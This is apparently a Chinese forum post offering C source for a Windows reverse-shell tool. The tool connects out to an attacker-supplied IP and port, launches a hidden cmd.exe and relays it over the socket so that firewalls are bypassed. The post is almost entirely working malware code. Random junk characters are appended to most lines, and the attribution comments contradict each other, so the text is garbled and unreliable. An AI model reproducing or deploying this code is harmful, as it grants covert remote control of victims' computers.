这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :nS;W
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/* ============================== qdG~!h7j
Rebound port in Windows NT h:)Ci!D;
By wind,2006/7 [kzd(u
===============================*/
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#include ;v~-'*0
#include (NK9vW4F
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#pragma comment(lib,"wsock32.lib") p,<&zHb>K
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void OutputShell(); J~iBB~x.
SOCKET sClient; p!V>XY'N^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M9f?q.Bv
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void main(int argc,char **argv) {(#%N5%
{ Hb(B?!M)
WSADATA stWsaData; 16EVl~LN
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; ,prF6*g+WE
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if(argc != 3) qcJft'>F
{ Op?OruT[
printf("Useage:\n\rRebound DestIP DestPort\n"); $1zvgep
return; 4E[!,zvl
} LrV{j?2@
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vF/ =J
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stSaiClient.sin_family = AF_INET; n*'<uKpM
stSaiClient.sin_port = htons(0); )Vk6;__
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ";w}3+R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |nk3^;Yf
{ l\!-2 T6Y
printf("Bind Socket Failed!\n"); ]G}B 0u3
return; 's!-80sd
} ExXM:1 e26
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stSaiServer.sin_family = AF_INET; cj|*_}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u%d K ig
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $7Mtt.d6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &&<9p;E
{ O^I[
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printf("Connect Error!"); }2r+%V&4
return;
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} ^Ori|
4}'
OutputShell(); Lx U={Y0
} "%QD{z_L
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void OutputShell() v)kEyX'K2d
{ aSYs_?&.
char szBuff[1024]; zMK](o1Vj
SECURITY_ATTRIBUTES stSecurityAttributes; &MgeYpd
OSVERSIONINFO stOsversionInfo; LDy<k=;o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Zx?b<"k
STARTUPINFO stStartupInfo; 6ZqgY1
char *szShell;
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PROCESS_INFORMATION stProcessInformation; cM &'[CI
unsigned long lBytesRead; HT_TP q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [$(R#tZ+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |\uYv|sT
stSecurityAttributes.lpSecurityDescriptor = 0; VnJMmMM
stSecurityAttributes.bInheritHandle = TRUE; h?yG<>wI
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A~{f/%8D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); AzpV4(:an.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]&i+!$N_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7TX,T|>9
stStartupInfo.wShowWindow = SW_HIDE; VLg
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stStartupInfo.hStdInput = hReadPipe; *Wb=WM-.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )yb+M ez
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GetVersionEx(&stOsversionInfo); 3rf#Q}"
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switch(stOsversionInfo.dwPlatformId) I/COqU7~
{ 9;r? nZT/
case 1: g42R 'E%
szShell = "command.com"; |AH@ EI>
break; 3@O0^v-
default: ?Zyok]s
szShell = "cmd.exe"; gw3NS8
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break; YirC*
} eE/%6g
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); 8h?X!2Nq
while(1) 3On
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{ q:HoKJv4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ew^ @Aq
if(lBytesRead) *"G 8
{ =!-5+I#e
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~ |,e_
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send(sClient,szBuff,lBytesRead,0); ,R-Y~+!
} h<[+HsI
else `:-J+<`
{ n*qN29sx
lBytesRead=recv(sClient,szBuff,1024,0); abY0)t
if(lBytesRead<=0) break; iTNqWU-o
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }w!ps{*
} U?U(;nSR\A
} udT xNl!
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return; gf$HuCh|
}